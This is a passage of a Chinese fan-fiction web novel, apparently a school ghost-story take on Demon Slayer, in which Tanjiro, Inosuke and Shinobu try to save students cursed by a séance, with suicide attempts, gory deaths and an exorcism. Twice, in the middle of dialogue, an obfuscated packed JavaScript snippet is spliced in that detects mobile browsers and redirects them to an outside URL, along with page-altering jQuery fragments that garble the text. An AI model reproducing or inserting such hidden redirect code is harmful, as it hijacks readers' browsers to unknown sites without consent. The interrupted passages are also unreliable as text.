看到教室门,他冲得更快了。 “炭八郎!俺是第一个…” “唉?小朋友快出去!这里暂时不能进来!” “让开!俺要进去杀鬼!” 然而他才迈进去一只脚就被人赶了出来,两个警察守在门口,不让他进去。 死者是从这里跳下去的,属于第一案发现场,在他们调查完之前,这里禁止进出,自然也不可能放两个孩子进来。 “滚开!俺这是要抓鬼!” 伊之助吵闹着要进去,但两个成年警察却将他按得死死的,两个警方脸上的青筋暴起,想来是用了很大的劲,才一起制止住伊之助。 “圆五郎!俺拖住他们,你快进去!” 即使伊之助自己被抓了,他也让炭治郎能进屋调查,多么坚韧的精神啊。 但是… “对不起,我们有要事,要进去,可以放我们进去吗。” 炭治郎站在两个警察面前,大叫地请求道。 他一脸坚定,觉得仿佛只要自己够诚恳,警察就会放自己进去。 两个警察面面相觑,像是没有见过这么真诚的孩子,一时之间有些愣神,差点按不住伊之助,然后齐声道。 “不行。” 伊之助依旧兴奋地朝前伸着手。 “放俺进去。” 两个警察合力将伊之助推开,死死地将门堵住。 “你们现在不能进去。” 面对渴望进去的两人,他们义正辞严地说道。 “可是…” “喂!灶门!嘴平!你们在干什么!” 炭治郎还想说些什么,一旁传来实弥的怒吼,只见对方带着玄弥,神色凶狠地快步走来。 “已经放学了,你们还不回家!明天补考你们敢不及格就死定了!” 或许是知道这两人数学不好,所以他也没指望两人能考多好,及格就够了。 伊之助撇过头去,满不在乎,只有炭治郎拼命鞠躬道歉:“对不起,不死川老师,对不起…” 他也不想考不及格啊! 不死川冷哼一声扭头对玄弥吩咐道:“看好着他们俩,别让他们破坏案发现场。” 说完,他转身对两个警察时温和了脸色,没有那么暴躁了:“警察,那孩子有些遗物在办公室,或许对你们有用。还有能去那边聊两句吗?” 他指了指楼道口,示意警察去那边谈谈。 见又有新的线索,其中一个警察便去了办公室,另一人则跟着实弥来到楼道口,实弥个头高大,长得又壮实,很轻易地就遮挡住对方的视线。 好机会! 伊之助见状,又要往里冲,但是还没有冲两步,玄弥便拦在了门口。 见状伊之助立刻瞪了过去,玄弥也瞪了他一眼。 但边瞪边往旁边靠了靠,随即目光抬头看去,伊之助大大的脑袋不明白对方在做什么,便被炭治郎从一旁拉了过去。 “谢谢。” 经过玄弥旁边时,炭治郎轻声道。 教室里,倒下的桌椅,散落一地上的书本,无不说明当时情况地混乱,那唯一开着的窗户,此刻透进来的风都仿佛带着冷意。 伊之助一进来,就环抱着,不悦道:“这里的空气还真恶心。” 倒不是他嫌弃这里死过人,只是发表出真实的想法。明明是差不多的教室,可是一踏进来,他就感觉到一股如蛛丝的黏腻感,让他浑身不舒服。 炭治郎捏着鼻子:“这里有股好奇怪的味道。” 那是一种说不上来的味道,是一种满含恶意的味道。 两人来到窗边查看,窗台上没有脚印,看来细节之处高个子男生没有讲准确。 美里不是跳下去的,她应该是身子直接翻下去了,整个人就这样栽了下去了,所以才会是头摔到地上,死得那样凄惨。 由于鬼已经不在了,其他的,两人就没有过多的发现。 炭治郎来到美里的座位上,低头看着那张课桌。 “无惨,你有什么发现吗?”他向无惨寻求帮助。 “答应我的条件。” “小气。”炭治郎控诉着无惨的行为。 明明他们前几次配合挺好的,但每次都要一点线索都不愿意给。 “我是鬼,又不是慈善家。” “我以为我们是朋友。”毕竟都相处那么久了。 “我说过,我们是敌人。” “那你应该离开我身体啊。”一点忙都不帮,还占着他的身体。 “我还轮不到你指挥。” “咳咳咳…” 就在无惨在和炭治郎又一次的交谈中气得不轻时,门外传来玄弥剧烈的咳嗽声。 炭治郎知道他们该走了,于是捞起趴在地上四处查看线索的伊之助,快步跑了出去。 两人一路,直到远离了教室,才停下。 可炭治郎才刚喘两口气,一枚硬币被递到他眼前。 “权八郎,你看!” 伊之助举着那枚硬币,一脸自豪:“这是俺找到的。” 这看上去就是一枚普通的硬币而已,但是炭治郎能闻出来,这是昨天晚上美里他们玩银仙游戏所使用的硬币。 “干得好伊之助!” 炭治郎毫不吝啬地夸奖他,这让伊之助有些飘飘然。 “嘿嘿!” 他高兴地叉起腰来,但紧接着,他脸色一变,冲了出去。 “伊之助!” 瞧伊之助的神色,炭治郎知道对方肯定是发现了什么,当即跟了上去。 炭治郎本以为对方是要回学生会,但是没想到对方却拐了一个弯,朝着另一个方向,当然炭治郎也跟着他拐。 很快,在走廊里,他看到了忍,同时也感觉到一股恶寒。 “伊之助,炭治郎,你们回来了。” 忍抬头看两人,本来很高兴,却见伊之助二话不说,就往女厕所里冲。 “忍学姐,快救人。” 听到炭治郎这么说,忍也是二话不说,跟着他们一起。 由于学校提前放假,没有多少人留下来,所以厕所里也只有一个人在,便是那个短发女生。 三人冲进来那一刻,便听到玻璃碎裂的声音。 只见短发女生,惨白着一张脸,捡起一块碎玻璃,就要往手腕上割。 “伊之助,赶紧拦下她!” “好勒!” 伊之助一个猛冲上前,将人扑倒地上,受到冲击,女生手中的玻璃一下摔了出去。 “啊啊啊啊…” “放开我!让我去死!让我去死! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270814|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 女生拼命挣扎着,神色癫狂,一只手拼命去捡地上的碎玻璃。 炭治郎赶紧抓住她的两只手,阻止她去捡玻璃自杀,随着被人控制起来了,动弹不得,短发女生脸上露出一抹阴狠的神色,她眸色一沉仿佛想到了什么,挣扎的力气变小起来… 忍注意到她的神色,当即掏出手帕,塞进女生嘴里,阻止对方咬舌。 她代替炭治郎握住短发女的手:“炭治郎,快找找那鬼在哪里。” 现在这种情况,女生明显就是被鬼上身了,得先把鬼驱走,他们这些人中能看鬼的,只有炭治郎。 炭治郎也赶紧四处查看起来,四周满是黑烟的残留,让他很难立刻找出鬼的位置,而女生的力气却一点点大了起来。 伊之助和忍两人联手,竟有些压制不住他了。 既然看不见,炭治郎便开始有笨办法,一间一间地打开隔间门,但随着五间隔间的门全部打开,却依旧不见鬼的踪影。 “咚咚咚…” “呜呜呜…” 短发女生挣扎得越来越厉害,甚至身体碰撞地面发出一声声巨响,在这过程中,力气不大的忍被一下推了出去。 少了一个人压制的女生,翻了个身,被堵住的嘴,发出含糊不清如同野兽般的低吼,伸出去手,指尖几乎快碰到了玻璃。 炭治郎立刻想要帮忙。 刚刚被推开的忍,却快他一步,不仅踢开玻璃,还又一次帮着伊之助按住短发女生。 “炭八郎,俺压得住,你用不着过来!” “炭治郎,这边有我们,你快…找鬼!” 看着还在努力的朋友们,炭治郎也赶紧继续找了起来,可厕所也就这么大,上上下下,他都找到就连马桶他都翻过,却一丝鬼影也不见。 那只鬼究竟藏在什么地方。 “想救人吗?炭治郎。” 眼见着炭治郎急得不行,无惨却是慢条斯理地开口。 “再过三十秒,你的同伴就撑不住了。” 他指出伊之助他们还能坚持多久,引得炭治郎一时之间分了神,指尖碰到了水池上的碎玻璃,划出长长的一道口子。 血瞬间涌出,滴落在台面上。 “闭嘴,无惨!别来捣乱!” 都那么多次,炭治郎早就猜到无惨要说什么,本来心急着救人的他,根本无心听无惨说话,甚至被他这种烦人的行为,弄得有些恼火。 这还是他第一次冲着无惨发火。 语气之冲,把无惨都吓了一跳,随即便恼怒起来。 “炭治郎,你又拒绝我!” 听着脑海里的谩骂,炭治郎无心跟他吵,只要找到鬼阻止这一切。 他看着滴在台面上的血迹,眉头紧皱,究竟是哪里还没有找。 “滴答…滴答…” 他究竟看漏了什么… 耳旁挣扎声,低吼声,忍劝短发女生清醒过来的声音、水滴声不断传来… “滴答…滴答…” 炭治郎拼命地思考着,无惨说得不错,他们的时间不多了… “滴答…滴答…” “炭治郎!炭治郎!炭治郎!” 好吵,无论是无惨的声音,还是这水滴声… 水滴声… 炭治郎看向那一排水龙头,三个水龙头,其中一个正不断滴着水,就像他流血的伤口一样。 他将手伸了过去,然后打开水龙头… 48.第 48 章 “哗哗哗…” 随着水龙头的打开,与自来水一起流出的还有大量的黑烟。 一股狂风在厕所莫名出现在厕所,吹得所有人都睁不开眼睛,而短发女生像是不受影响一般,力气大得惊人,一下从伊之助和忍手中挣脱开来。 她铆足了劲地往墙上撞。 忍受困于这股怪风,手脚变得千斤重。 眼见着那个女生就要血溅当场,炭治郎一个箭步冲上前去,用自己的身体作挡。 由于身高原因,短发女生原本要撞到墙的头,一下撞到炭治郎的脑袋… “呜哇~” 短发女生痛得惊呼,眼泪流出,那一瞬,她的目光似乎恢复了清明,但随即便两眼一晕,倒了下去。 没事了吗?但屋内的怪风怎么还没有停下? 炭治郎小心地蹲下查看:“你怎么样…” “小心!” 就在他伸手的时候,无惨的提醒声响起。只见短发女生猛地睁开无神的双眼,右手一下抓住炭治郎,未等炭治郎反应过来,屋内的狂风随着黑烟聚集起来,开始朝着炭治郎涌去,似乎要附身于炭治郎… 炭治郎没有挣扎,他等着被附身,借此困住黑烟,但是就在那股黑烟触碰到他皮肤的那一刻,却好像触电般,猛地缩了回去… “鬼…” 黑烟中,炭治郎听到一道陌生的声音,那声音充满恐惧。 随即厕所里一切恢复正常,没有狂风,没有黑烟。 “那只鬼呢!” 重新能动的伊之助,望着四周生气地道。 气死他了,只知道躲起来的胆小鬼,居然逃了。 “炭治郎,你没事吧!你流了好多血。” 见那鬼真的跑了,他又担心地看向炭治郎的手。 忍则直接上手查看:“伤口不深,去医务室,我帮你包扎。” 她可是校医的妹妹,这种简单的包扎,自然学会了。 炭治郎摇摇头:“我不要紧,还是去看看她吧。” 忍蹲下身检查了一下:“她也没什么事,我们阻止得及时,只是挣扎时的於伤,以及…” 她顿了顿:“可能要去医院看一下,有没有脑震荡。” 撞到炭治郎的脑袋可不是开玩笑的。 见炭治郎手受伤,伊之助主动将人背起。 众人一起来到医务室,忍找到那些碘伏和绷带先帮智发女生包扎好,然后打了急救电话。 在等救护车的同时,她开始帮炭治包扎。 “那鬼是什么情况。”忍一边帮炭治郎伤口消毒,一边问道。 他们并没有灵视能力,所以看到的也只有一股怪风而已。 于是炭治郎将自己看到的一五一十说了出来,包括那鬼惊恐地逃走了这件事。 “哼哼!”伊之助得意地叉着腰:“一定是那鬼看到本大王,害怕得逃走了。” 炭治郎笑着道:“是的,伊之助让人很有安全感呢。” 伊之助果然其然高兴得飘飘然,但忍还是一脸凝重。 “现在已经打草惊蛇,那鬼现在还会出现吗?” 炭治郎也面露沉思,他们的目的是救人,而不仅仅是把鬼魂赶走。 “对了,其他三人怎么样了?”他问道,其他人呢? 忍:“他们没事,我让他们无论干什么,都要在一起。” “但鬼一天不驱除的话,他们一天处于危险中。” 炭治郎想了想:“我去联系一下认识的灵能力者,或许他们有办法。” “嗯,现在也只能靠他们了。”忍点点头。 他们只是普通学生,专业的事,还是得专业的人来。 很快救护车来了,忍陪着昏迷的短发女生一起去医院。炭治郎让伊之助看好那些人,自己则去了之前给过他护身符的伊藤先生。 伊藤先生听到几个孩子玩银仙游戏,招来恶灵的事,当场给炭治郎画了4个护身符。 他将护身符交到炭治郎手上,叮嘱道:“那几个孩子,怕是惹到很厉害的恶灵,等那个女孩醒过来,明天一定要带他们过来驱邪。” “一定要尽快,否则晚了,谁也救不了他们。” “是。”炭治郎认真地听进去每一个字,并郑重地向对方道谢。 在与伊藤先生和他的妻子道别后,他立刻回到学校,将几个护身符交给男生们。 “这个你们先收好,明天我带你们去找伊藤先生。” 三个男生飞快地拿起护身符,紧紧地握在手中,但脸上仍是带着担忧。 “这真的有用吗” “伊藤先生的符很厉害的。” 伊藤先生符的厉害,炭治郎是见识过的,上次花子事件时,帮了他很大的忙。 听到炭治郎这么说,几个男生明显安心了不少,但是清瘦男生却垂下眼眸,一直盯着手中的护身符… “你朋友说美和子差点死了,是真的吗?” 美和子是那位短发女生。 伊之助一过来,在几人的追问下,便把短发女生的事情说了。因为几人不了解伊之助会说错人名的习惯,所以听了一大堆什么“炭八郎”“圆五郎”“蝴蝴”“蝶蝶”,在一大堆错综复杂的人名中,他们好不容易理清了事情的发展。 玩银仙的五人,一死一伤。 这对于他们来说,并不是什么好消息。 提及那位短发女生,炭治郎面露愧疚,如果他当时能及时找到那鬼就好了。 “这种事不会再发生第二次的。” “我会帮你们的。”炭治郎保证道。 “就是,都说了俺会保护你们的。”伊之助也在一旁抢着说道 “你们乖乖听从命令就是。” 三个男生谁也没有说话,炭治郎写下自己的电话号码,让他们有什么事,就联系自己。 无论他在干什么,都会赶到的。 又一次嘱咐三人,有什么情况一定要说之后,炭治郎带着最后一枚护身符前往医院。 短发女生并没有醒,她的母亲在病房里看护。 在炭治郎偷偷将护身符放在短发女生枕头底下后,忍带着他来到外面。 “她没什么大碍,医生说只是一些擦伤和轻微脑震荡,大概今天晚上就能醒。” 知道炭治郎担心女生,所以忍第一时间将短发女孩的情况说了。 听到女生没事,炭治郎果然松了一口气。于是他将明天驱魔的事,告诉了忍。 忍表示今晚会守在这里,明天会和短发女生一起去学校的。 有忍学姐在 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一直以来,炭治郎都在听着无惨说着什么继承力量,成为鬼。却从来也不知道鬼是什么?他一直以为和他最近遇到的那些幽灵是差不多的。 但是如今看来,却不是这样。 “你给我好好解释清楚!” 比起之前在厕所中因为焦急地怒吼,这一次炭治郎是真的生气了。 这个人一直拿什么强大的力量、长生不老来诱惑着他,却从来也不解释清楚那代价的背后究竟是什么。 “你究竟是什么?” 鬼是什么?对于这点,无惨没什么好隐瞒的。 “鬼当然是完美的,超越人类的存在的。” 在他的眼中,鬼当然是这样的。 不老不死,就算是砍断了一条胳膊,也能很快长出来,拥有强大的力量和各种血鬼术,而且以人类为食。 唯有一点不太完美。 阳光是他们的克星,他们无法在阳光下生存的。 “但是炭治郎你能克服阳光,你们灶门一家有这个天分。只要继承我的力量,你就能成为最强的鬼王,你不是很在乎在家吗?变成鬼后,也可以把你妹妹祢豆子和其他人一起变成鬼,这样你们就能永远…” “啪!” 话还没有说完,炭治郎一脸愤怒地一拳砸碎了镜子。 “你再说多一个字,我现在就把你送进地狱去。” 炭治郎没有在开玩笑,只要无惨有一丝伤害他家人的举动,哪怕拼着同归于尽,他也会这么做。 这一点无论是前世还是今生无惨都体会过。 更何况此刻的无惨就待在炭治郎的身体里,那源源不断的怒意,让他一愣,不由得回想起前世的那个时候,炭治郎被亡灵们推出去了,将他一个人抛弃在黑暗里。 是的,没错。炭治郎很生气。 特别是在听到无惨语气中,那贬低他人,将人类当主食,却毫无同理心,甚至还自以为是地想将他的家人也拉入这般残酷当中。 这个无惨究竟有没有人性? 炭治郎也终于意识到,这个附身在他身上的鬼舞辻无惨,或许是世上最不该存在之物。 49.第 49 章 与无惨吵了一架,准确地说应该是炭治郎单方面威胁了无惨一番,且由于太愤怒,强制掐断无惨的声音。 被强行掐了麦的无惨,发现自己就连声音也无法传给炭治郎,气得一个人在那里无能狂怒。 炭治郎没有理会正闹腾的无惨,而是收拾起碎掉的镜子。 就在他刚刚收拾好时,身后响起了敲门声。 他赶紧找了个盒子将碎镜子收好,放在抽屉里后,这才去开了门。 “祢豆子,有事吗?”他微笑着,仿佛什么事也没有发生地看着自己的妹妹。 “哥哥,我听到有声音发生了什么事吗?” 祢豆子走进房间,十分担忧地看着屋内。 “对不起,祢豆子。我把你的镜子打碎了。” “明天我会买一块新的给你。” 他说了自己做的事,却并没有说为什么这么做。 祢豆子转过身来了,担忧的神色一点也没有减少。 “哥哥,白天的事,我听说了。” 那么大的事,两人又是同一所学校,有人跳楼,她自然也知道了。 “善逸说,你被忍学姐叫去了。” 她紧盯着炭治郎的眼睛:“这件事是鬼做的,是吗?” “你又被卷进了灵异事了,对吗?” 她几乎是用肯定地语气说出来的,并不是在寻问而已。 自那天在忍学姐家门口,看到那个像哥哥却又不是哥哥的人后,她一直隐隐有种感觉,哥哥可能陷入麻烦中了。 可是她也知道,哥哥是不会主动告诉自己的。 他不想连累自己。 所以祢豆子自己开始偷偷调查,从真菰学姐那里知道了花子的事,也从善逸那知道了偷画鬼的事…原来一直以来哥哥都在做那么危险的事。 “哥哥,如果有需要帮忙,请一定要开口。” 她知道自己阻止不了哥哥,而且哥哥也是在做正确的事,他是在帮人。如果是自己的话,也会选择帮助那些人。 可是她也不能放任哥哥陷入危险中。 所以她也要尽一份力。 “祢豆子,你听我说…”炭治郎怎么肯让祢豆子卷入危险中呢。 连连摆手想要劝说,可却被祢豆子大声打断。 “哥哥!我可是你的妹妹!如果你再什么事都憋在心里,我就告诉爸爸妈妈!” 此话一出,炭治郎立刻禁声。 这确实是威胁到他了,而且他也知道祢豆子才是他们家里心性最坚定的人,只要是她决定的事,没有什么能让她改主意。 他叹了一口气,像是认命般:“我知道了。” 祢豆子这才露出笑容:“那就说好了,哥哥你们明天要干什么,算上我一份。” 炭治郎苦笑着点头。 还好,明天也并没有什么危险的事,只要将那几个人送到伊藤先生那里进行除灵就行。 第二天,炭治郎他们正常地去学校考试。 或许是太担心那些人的原因,他也没管自己能不能考好了,尽可能地写满试卷就行了。 午休时,他还确认了那几人的情况。 很好,身上没有被附身的迹象,也没有黑烟缠绕。 短发女生正如忍学姐所说的那样,昨天晚上就醒了,并且于早上就出院了,以她现在的身体情况,自然也就不能进行考试,老师们会等一周后,再让她单独进行补考。 如今短发女生正在医务室休息。 忍把事情告诉了香奈惠,香奈惠医生会寸步不离地守着她。 就在这样的安排下,直到下午的考试结束,一切风平浪静。 一考完,炭治郎就收拾着东西跑向医务室,伊之助也是把东西随意地往包里一塞,就追了上去。走廊里,他们还遇到了祢豆子,就这样,三人一起来到医务室。 他们三个是最早到的。 香奈惠正帮短发女生量体温,女生早上起来的时候,还有些低烧,此刻已经退了。 “炭治郎,你们来了。”香奈惠收好体温计,招呼着众人坐下。 “你们在这里等一会,忍应该马上带其他人过来。” 说着,她还拿出一些茶点,招待几人。 伊之助一看到茶点就两眼放光,他自己率先拿起一块往嘴里塞,边嚼边给炭治郎和祢豆子拿。 “炭八炭,红豆子,你们也吃。” 这话说得像是这茶点是他自己做的一样。 祢豆子听话地小口小口吃起来:“好好吃,这是香奈惠医生自己做的吧。” 香奈惠医生含笑点头,算是承认了。 炭治郎倒是没有立刻动,而是看向床上的短发女生:“学姐身体好些了吗?” 短发女生声音沙哑:“好多了,谢谢关心。” 比起那时候差点死掉,她现在只是头晕想吐而已,已经是万幸了。 就在伊之助一口气吃了五块茶点时,忍他们终于过来了,但身后只跟着高个子男生和黝黑男生… 炭治郎心里咯噔一下,顿时心中有不好的感觉。 未等他开口询问,忍沉声道:“找不到下川同学。” 她按照约定的那样,召集三名玩银仙的男生,但却始终不见清瘦男生来找自己,就连教室里也见不到他的身影。 “去查过监控了吗?”香奈惠一针见血地问道。 “只有老师能调看。”忍说道。 香奈惠起身:“我陪你们去。” 校医也有权查看监控。 他们来到监控室,在香奈惠表示一名学生不见的情况下,众人终于得以查到监控。 虽然监控只能看到操场和走廊等公共地方,但已足够了。 炭治郎和忍很确定自己午休时,是见过清瘦男生的,而香奈惠也向清瘦男生的老师,电话确认过,对方下午的考试是有参加的。 所以只要查看放学时间段的监控就行。 缩小了范围后,众人赶紧调出放学时间段的监控。 果然很快清瘦男生出现在走廊里,只见监控里的他,神色慌张,像是急着去做什么,但他却并没有去找忍或是炭治郎当中的任何一个人。 而是继续往外跑,甚至跑出了校门。 不好! 清瘦男生明显是想单独行动。 可是现在这种情况下,单独行动明显更加危险。 “必须马上找到下川同学。” 忍让其他两个男生不断地下川同学的电话,直到打通了为止。 “祢豆子,你和我一起去下川同学家。” “炭治郎你和伊之助留在这里守着他们。” “姐姐拜托你也托人找一下。” 时间紧迫,但也不能分散所有人去找,特别是那些已经中了诅咒的人,已经走了一个了,剩下的人不能再出事了。 安排好一切,忍和祢豆子立刻出发,去找清瘦男生。 高个子男生正好有清瘦男生手机号,所以拼命地拔打。 可是电话那头却一直是忙音。 “快接啊,快接啊。” 高个子男生简直是急坏了,拿着手机的手都在颤抖,他自己都不记得自己拔了多少电话了,时间一分一秒地过去了,眼见一个小时都过去了。 天色渐暗,那黑暗中仿佛有什么要涌出。 “喂,要不然别找了,我们自己去吧。”黝黑男生声音颤抖地提议道。 本来就是那个人不听安排,自己走掉的,他可不想因为对方的擅自行动,连累了自己。 而且这两天,夜里他一直做着噩梦。 虽然没有亲眼见到双马尾女生的尸体,但是昨天晚上他一直梦到对方从窗户跳下来,再这样下去,他会神经衰弱的。 炭治郎看着身中诅咒的三人,皆神色萎靡,他也知道不能再继续拖下去了。 他看了一眼时间。 “再等三十分钟,如果连忍学姐那也找不到他的话,我带你们去见伊藤先生。” “嘟嘟嘟…” “莫西莫西。” 他话音刚落,却听见到高个子男生兴奋的声音。 “下川,你终于接了!” “你这家伙去哪了?为什么要擅自行动,这样很容易有危险的。” 对方这种莽撞的行为,高个子男生显然很生气,然而电话那头清瘦男生的声音很平静。 “我在家。”他并没有解释自己行为,只是淡淡地说出自己的位置。 “那太好了,会长应该马上到你家了,你马上跟着会长…” 炭治郎听出对方的语气有些不太对劲,他立刻夺过手机:“下川同学,你想做什么?你还清醒吗?” 下川:“嗯,我很清醒。” “美里死了,美和子也差点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304106|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死了。” “我昨天晚上看到他了。” “他?那个恶灵吗?” “是的,他昨天晚上就在我床头,他的身体就像撕碎了一般,血淋淋的太恐怖了。” “那符根本没用!他就是想杀了我!” 或许是昨晚的事太恐怖了,清瘦男生的声音逐渐颤抖起来,尖叫声就算是手机没开免提,大家也都听到了。 “下川同学你冷静点。”炭治郎赶紧安慰道。 “恶灵盯了你一夜,没有靠近,不就说明那符是有用的吗?所以你快跟忍学姐过来,我们一定会救你的。”炭治郎知道,被恶灵盯了一夜,对清瘦男生来说,心理压力实在太大了。 所以他尽可能地安慰着他,想让他相信自己。 可是… “我知道,你是个好人,可是我还是觉得自己的命,得自己来救。” 说罢清瘦男生不顾电话那头,炭治郎的焦急,挂断了电话。 一只手搭在他的肩头。 一个面容与他有七八分像的中年男人站在他身边:“儿子,放心吧,这个除灵师是爸爸花了五百万请来的,一定有用。” 男人是一家小型工厂的社长,五百万对于他来说算不了什么,更何况是救他儿子的命。 清瘦男生有些疲惫,便目光希冀地看着眼前正摆放祭台的和尚。 “那就拜托你了,大师。” 一夜的折磨,如今的他只想结束这件事。 “下川同学!下川!” 另一边,无论炭治郎怎么呼唤,那头已经挂断电话。没办法他只能继续打,可是对方已经关机。 清瘦男生已经打定主意不和他们一起行动了。 “他自己走了,那我们可以去大师了吧。”短发女生弱弱地道。 她是控制过,差点死掉的,所以此刻更想去见大师。 “而且下川的爸爸很有钱的,他们自己也能找到很厉害的除灵师。” 这或许就是为什么下川不和他们一起行动的最主要原因。 “权八郎,别管那人了,你已经尽力了。” 炭治郎叹了一口气,没能让清瘦男生信任,是他做得不够好。 “走…” 他将手机还给高个子男生,正准备招呼众人离开,可就在这时,他自己手机响了,是忍打过来的,见此他赶紧接通电话。 “忍学姐,你那边怎么样了。” “情况恐怕不太好。” 忍看着开着一条缝的大门,面色沉重,一股浓重的血腥味从中传来。 她小心翼翼地推开门,祢豆子跟在她身后。 这是一间独栋自建宅,但是光凭占地面积和装修,就知道宅子的主人很有钱。 然而此刻正有一个和尚满身是血地倒在玄关处,看他的样子,似乎是想往外爬,而他的手中捏着一张符。 忍认识那张符,是炭治郎送给清瘦男生的,如今却出现在这人手中。 她蹲下身来,探查对方鼻息。 祢豆子:“忍学姐,他还活着吗?” 忍点点头:“还活着,打急救电话。” 祢豆子立刻按对方说的做,联系救护车。 忍继续往里走着。 电话那头炭治郎已经意识到发生什么事,他赶紧问道:“忍学姐,现场情况怎么样?他们有没有生命危险?” 忍面色凝重地看着脚下的血泊。 这么多血,人是肯定活不下来了,而且怕是死相凄惨… 她沿着血迹来到客厅,看着已经被打乱的房间,以及那三具瞪大眼睛死不瞑目的尸体:“这简直是人间炼狱啊。” 只见那三具尸体分别是两具男尸,一具女尸。 其中便有清瘦男生,别外两个恐怕就是他的父母了。 此时,三人的尸体以极为诡异的姿势,扭曲地抱在一起了,身上伤痕累累,有咬伤的痕迹。 这三人也不知道是看到了什么,才相互攻击、撕咬…最终惨死… 她深吸一口气:“炭治郎,你带其他人先去找大师。” “下川同学来不了了。” 炭治郎听出她的弦外之音,面露悲伤:“那边就交给你了,忍学姐。” 他挂断电话,看剩下三人目光坚定。 “我们走吧。” 无论如何,他一定要保护好这三个人。 50.第 50 章 忍还需要配合警察做笔录,所以炭治郎就不等她和祢豆子,先带着其他人去找伊藤先生。 等他们到时,伊藤先生已经摆好祭台,并且换上一身狩衣。 在看到炭治郎带来的人后,微不可查地皱眉。 他注视着炭治郎身后局促的三人:“还有一个人呢?” 炭治郎垂眸,伊之助替他答道:“那家伙不听话,自己跑了。” 听到伊之助的话,伊藤先生眸光微动,并没有多说什么。 他让几人进来,自己端坐在祭台前:“你们三个坐到我面前来。” 三人听话地上前,一个个如鹌鹑般地坐好。 “有恶灵接触过的媒介吗?”他问道。 几人面面相觑,有些不太理解。 炭治郎赶紧从口袋里掏出那枚硬币,递上前去。 “这个可以吗?” 伊藤先生点头:“放到桌子中央的白瓷盘上。” 炭治郎按要求将硬币放上去,伊之伊表情自豪,这可是他找到的,如今可是派上大用处了。 一切准备就绪,伊藤开始吟诵起众人听不懂的咒语,一开始一切如常,炭治郎警惕地看着四周,什么也没有发生… 只有刚刚他摆在桌上的那枚硬币开始颤抖起来,并且随着“叮”的一声,硬币顿时裂开,从中冒出黑烟。 伊藤先生加快了念咒的声音,那硬币顿时燃烧起来。 坐着的三人一下子惊呼出声,或许是他们第一次亲眼见到真正的灵能力者,顿时目光崇拜地看向替他们除灵的伊藤。 就在他们以为等硬币烧尽,就会没事时,异变突然发生。 “啪啪啪” 那硬币一下炸裂开来,头顶的灯也碎成一片,屋内一下黑了,窗帘一下子拉起来,就连大门也是“碰”的一声关上。 “啊啊啊!” 身受诅咒的三人顿时大叫起来,整个屋子就像遇到地震般,不仅晃动得厉害,而且一直有股阴冷之气。 “救命!有东西抓着我的脚!” “脖子,我的脖子!” “松开!松开我的头发!” 三人各自都受到不同的攻击,那恶灵好像是要三人同时拖下地狱。 混乱的房间里除了惊叫声外,只有伊藤先生的念咒声,仿佛有穿透力般,不断地回荡在房间里。 炭治郎和伊之助赶紧上前帮助三人,按那几人的说法,炭治郎果然在短发女生的右腿上摸到一只冰凉的手… 那只手正在把短发女生往桌下拉。 炭治郎一边拽着短发女生,一边朝着桌下踹下去,一边踹了好几脚终于把短发女生从恶鬼手中夺了回来。 伊之助则是粗暴多了,他根本就没有顾高个子男生的头发,将对方使劲一拽,只听到高个子男生痛呼一声后,怕是掉了不少头发。 然而最后一个黝黑男生是最难救的,被无形之力掐住脖子的他,炭治郎和伊之助两人,都没有能掰开那只手… 眼见黝黑男生呼吸越来越困难,炭治郎焦急道:“伊藤先生…” 伊藤先生念咒的声音越来越大,越来越急促… 炭治郎感觉到掐着黝黑男生的手,手劲变小,他和伊之助对视一眼,一起用力… “碰碰碰…” 似乎有什么炸裂开来,炭治郎和伊之助被一下子弹飞出去,而伊藤的念咒声停止,屋内的晃动停止,灯光再次亮了起来… 炭治郎看着满屋子的狼藉,看到一口血呕出来的伊藤先生,他那已经变成幽灵的妻子正焦急地围着他,却根本没办法上前帮忙。 炭治郎立刻从地上起来,跑上前去:“伊藤先生,你怎么样了。” 伊藤脸色苍白地抹掉了嘴角血,露出安慰地笑容,看向自己的妻子:“我没事,一点小伤而已。” 随即他看向炭治郎:“恶灵的力量变强了。” “他是不是又杀了人了。” 炭治郎点了点头。 伊藤叹气,这就是为什么他让炭治郎尽快带人过来,恶灵杀的人越多,其力量就越强。 “如今我只是勉强地打伤了他,而他也有了警惕心,以我的能力,想要抓住他是不可能的了。” 听这一席话,三人露出天塌了一样的表情。 “怎么会这样,那我们该怎么办?” “呜呜呜…我不想死。” 如今刚刚脱离了危险,却听到他们还是摆脱不了死的命运,这让三个本来就年纪不大的孩子们,忍不住哭泣起来。 黝黑男生更在跪到伊藤面前:“大师,求求你想想办法,再想想办法。” “炭治郎你还认识更厉害的大师吗?” “钱不够的话,我们会想办法的。” 炭治郎沉默,他也很想认识一个厉害的灵能力者,这样就能救下这几人了,可他确实不认识。 见他们不说话,顿时只剩下几人的抽泣声。 沉默片刻,伊藤终于开口:“其实还有一个办法。” 说着,他缓缓起身,打开门来到后院的仓库,众人看着他在仓库中翻找着,终于二十分钟后,他翻出一个落满灰尘的小盒子。 当着众人的面,他打开盒子,只见里面摆着一把破旧且满是铁锈的小刀。 他将刀拿起:“这把除灵刀,可以杀死恶灵。” “只要找到那只恶灵,就能杀了他,但你们只有一次机会,因为这把除灵刀用过之后便会折断。” “这么破破烂烂的刀,真的能除灵吗?” 